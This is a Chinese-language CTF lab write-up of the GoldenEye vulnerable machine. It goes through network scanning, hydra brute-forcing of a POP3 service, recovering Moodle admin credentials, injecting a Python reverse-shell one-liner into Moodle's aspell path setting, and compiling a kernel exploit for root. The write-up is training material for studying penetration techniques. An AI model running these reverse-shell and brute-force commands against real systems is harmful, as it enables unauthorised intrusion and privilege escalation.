skyler实战渗透笔记1—GoldenEye

skyler实战渗透笔记:

笔记是为了记录实战渗透学习过程,分享渗透过程思路与方法。

请注意:

对于所有笔记中复现的终端或服务器,都是自行搭建环境或已获授权渗透的。使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

0x00 前言

0x01 信息收集

0x02 渗透get shell

0x03 提权

0x04 总结

0x00 前言

I recently got done creating an OSCP type vulnerable machine that's themed after the great James Bond film (and even better n64 game) GoldenEye. The goal is to get root and capture the secret GoldenEye codes - flag.txt.

I'd rate it as Intermediate, it has a good variety of techniques needed to get root - no exploit development/buffer overflows. After completing the OSCP I think this would be a great one to practice on, plus there's a hint of CTF flavor.

I've created and validated on VMware and VirtualBox. You won't need any extra tools other than what's on Kali by default. Will need to be setup as Host-Only, and on VMware you may need to click "retry" if prompted, upon initially starting it up because of formatting.

机翻,勿6:这个靶机来自于007电影黄金眼,渗透目标是获取服务器root权限并拿到flag——secret GoldenEye codes (有点007特工的感觉了)

0x01 信息收集

靶机安装好后,什么信息都没有

skyler实战渗透笔记1—GoldenEye

 那么首先需要确定攻击目标的IP地址,个人比较喜欢用netdiscover来做网络探测:

skyler实战渗透笔记1—GoldenEye

 也可以使用nmap -sP 192.168.245.0/24

skyler实战渗透笔记1—GoldenEye

  或者arp-scan

skyler实战渗透笔记1—GoldenEye

 Anyway,现在已经找到了目标服务器192.168.245.142,接下来先看看开放了哪些端口(端口扫描):

nmap -sS -sV -T5 -A -p- 192.168.245.142

skyler实战渗透笔记1—GoldenEye

 开放了25的smtp端口,80 httpd端口还有两个高位端口,其中一个是pop3的端口。

先从80端口入手,访问下试试:

skyler实战渗透笔记1—GoldenEye

打开网站后是一段网站介绍,让访问/sev-home来进行登录,那么尝试访问:

skyler实战渗透笔记1—GoldenEye

看到是一个应用服务器登录认证界面,需要用户名和密码,反手就是一个admin/admin,好吧进不去~。

那就只能先检查下页面源码,看看有没有线索了:

skyler实战渗透笔记1—GoldenEye

 看到src中引用了一个js文件,点进来看看

skyler实战渗透笔记1—GoldenEye

  页面源代码中有一段注释信息:好家伙,英国军情六处也要入侵这个系统,没想到被我抢在了前面。

不皮了,看注释默认的密码被编码写在了注释里:

//InvincibleHack3r

用burpsuite解码来看看,算了,你们肯定猜不透我用什么工具解码的,哈哈有道词典(懒人的意外之喜)

skyler实战渗透笔记1—GoldenEye

 (Author Zhaoxuepeng https://www.cnblogs.com/Shepherdzhao/)

 获取到用户名和密码,登陆一下试试:

skyler实战渗透笔记1—GoldenEye

看描述是苏联绝密轨道计划,按照提示需要“向合格的GNO主管发送电子邮件,接受GoldenEye操作员在线培训,成为GoldenEye系统的管理员”,最重要的是最后一句,由于安全需要,pop3服务配置在了非常高的非默认端口,结合之前的端口扫描,就是55007了。

结合之前注释里的信息,用的都是默认密码,那么就尝试用hydra来爆破一下吧:

首先生成用户名的字典,一共是两个名字:boris和natalya

skyler实战渗透笔记1—GoldenEye

 利用kali自带的字典爆破一下试试:

hydra -L username.txt -P /usr/share/wordlists/fasttrack.txt 192.168.245.142 -s 55007 pop3

 skyler实战渗透笔记1—GoldenEye

 skyler实战渗透笔记1—GoldenEye

  得到两个用户的登录密码

login: boris password: secret1!
login: natalya password: bird

 下面登陆一下这个邮箱服务器,貌似没怎么搞过pop3,这里百度了一下用telnet或者nc都可以:

skyler实战渗透笔记1—GoldenEye

先看看boris的邮件有啥内容,没什么特别的,有一封 natalya 发的提示能够破解他的密码:

skyler实战渗透笔记1—GoldenEye

只能再去看看natalya的邮件,两份邮件,都看下:

skyler实战渗透笔记1—GoldenEye

哈哈,第一封很有意思,让不要破坏boris的密码了

skyler实战渗透笔记1—GoldenEye

看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:

用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com

skyler实战渗透笔记1—GoldenEye

然后在kali本地浏览器中打开这个网站:

skyler实战渗透笔记1—GoldenEye

 刚登陆界面我就看到了moodle,这是一个开源的CMS系统,然后我们直接用邮件获得的用户密码进行登陆:

skyler实战渗透笔记1—GoldenEye

 登录进来后,找了半天,甚至搜索了moodle的一些漏洞,找了n久的上传点,都没有头绪,这里就略过不谈了。

最后发现了一封message:

skyler实战渗透笔记1—GoldenEye

ok,继续爆破试试:

skyler实战渗透笔记1—GoldenEye

 get! 连上去看看邮件:

skyler实战渗透笔记1—GoldenEye

 就一封邮件,恭喜我们思路是对的,又给了一个用户名和密码,那我们继续开搞!冲冲冲

登录进来以后,到处点点,发现了一个文档:

skyler实战渗透笔记1—GoldenEye

 打开查看是一段话

skyler实战渗透笔记1—GoldenEye

告诉我们在for-007.jpg里有东西,去瞅瞅:

skyler实战渗透笔记1—GoldenEye

发现是一张图片,经常做ctf安全杂项的可能就有思路了:

常规路子搞一遍:先看描述-再查LSB隐写-再丢进hex查。

右键查看描述就看到了一个base64加密的字段:

skyler实战渗透笔记1—GoldenEye

burpsuite 解码出密码:

skyler实战渗透笔记1—GoldenEye

 OK,admin密码到手,登录进web系统看看有没有什么发现

0x02 渗透get shell

在使用管理员权限登录进来后,发现多了非常多的权限和配置项。但是碍于实力的局限,没有发现可以利用的上传点或命令执行漏洞。

查看系统环境信息,发现用的是moddle 2.2.3版本的CMS,搜搜看有什么漏洞吧

skyler实战渗透笔记1—GoldenEye

祭出神器,msf搜索一下漏洞:

skyler实战渗透笔记1—GoldenEye

 发现有一个远程命令执行的漏洞,尝试一下配置参数:

skyler实战渗透笔记1—GoldenEye

但是很不幸的是失败了。

按道理应该能获取www低权限,经过百度谷歌多方面咨询大神,是因为kali中MSF版本升级太高,会遇到RCE无法渗透问题,这里耽误了很多时间,心里想着可以getshell了,结果MMP,反弹shell用不了,只能使用内核提权了。

但是首先也要先拿到一个shell呀!

这边经过大量检索和学习,找到了一个方法:

在"Settings"-->"Site administration"-->"Server"-->"System paths"-->"Path to aspell"中,进行反弹shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.245.140",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 skyler实战渗透笔记1—GoldenEye

 本地开启监听端口后,回到管理员用户页面。

 skyler实战渗透笔记1—GoldenEye

 然后需要找到一个能发送数据包出去的地方,这里找到了能发送邮件的地方,随意填写一些文字即可,然后找到拼写检查的地方,点击Toggle spellchecker进行发送shell到本地。

 skyler实战渗透笔记1—GoldenEye

NICE! 获取到了最初级的一个shell,终于看到胜利的曙光了! 

skyler实战渗透笔记1—GoldenEye

 由于使用的sh,所以很多命令无法操作,再用python反射一下获得tty

python -c 'import pty; pty.spawn("/bin/bash")'

skyler实战渗透笔记1—GoldenEye

 OK,那么我们成功反弹拿到了shell,尝试了几个命令,发现权限很低

skyler实战渗透笔记1—GoldenEye

 又看到内核版本是3.13.0,尝试来提权:

0x03 提权

首先第一步肯定是尝试内核提权,先去exploit-db上搜搜看有没有好的提权漏洞:

skyler实战渗透笔记1—GoldenEye

 正好有个提权漏洞,那么先看看利用方式

 skyler实战渗透笔记1—GoldenEye

 是一个.c的代码文件。那么思路有了:本地起一个web服务器,在反弹的shell中下载这个文件并编译执行:

skyler实战渗透笔记1—GoldenEye

 好吧,没有安装gcc,无法编译。那么就需要尝试下cc,

skyler实战渗透笔记1—GoldenEye

 可以看到:cc命令是支持的,那么首先先检查下代码里是否有用到gcc编译的地方,如果有需要也改成cc

skyler实战渗透笔记1—GoldenEye

改完后,保存并重新在反弹shell中下载,然后编译执行:

skyler实战渗透笔记1—GoldenEye

 编译成功,赋权限然后执行试试:(这边刚才没有修改完,还有一处gcc忘了修改,于是重新下载并编译成了zxp)

skyler实战渗透笔记1—GoldenEye

 OK,拿到root权限,看题目要求是找到flag,那么全局搜索一下试试:

find / -name "*flag*"

skyler实战渗透笔记1—GoldenEye

 OK,隐藏在root目录下的flag找到了

skyler实战渗透笔记1—GoldenEye

 拿到flag并让我们访问这个界面,在kali中访问试试:

skyler实战渗透笔记1—GoldenEye

 OK,搞定收工了。

0x04 总结

 作为中等难度的一个渗透靶机,感觉做起来还是走了很多弯路,也做了很多无用功,比如扫目录破解,暴力破解扫了很久。但是知识点也是比较多,学到了很多东西,包括pop3爆破、RCE漏洞攻击、RCE反弹shell、内核提权等等。也有一些稀奇古怪的问题比如MSF高版本竟然无法穿透RCE。但是渗透总归是要不断地尝试和多方面的猜想。

最后总结一下这次的渗透思路:

1、C段扫描获取目标ip

2、信息收集-获取端口信息

3、各个端口尝试漏洞攻击

4、pop3爆破邮箱找到admin密码

5、进入后台,查找文件上传点或命令执行点

6、命令执行—python反弹shell

7、内核提权,获取root权限

skyler实战渗透笔记1—GoldenEye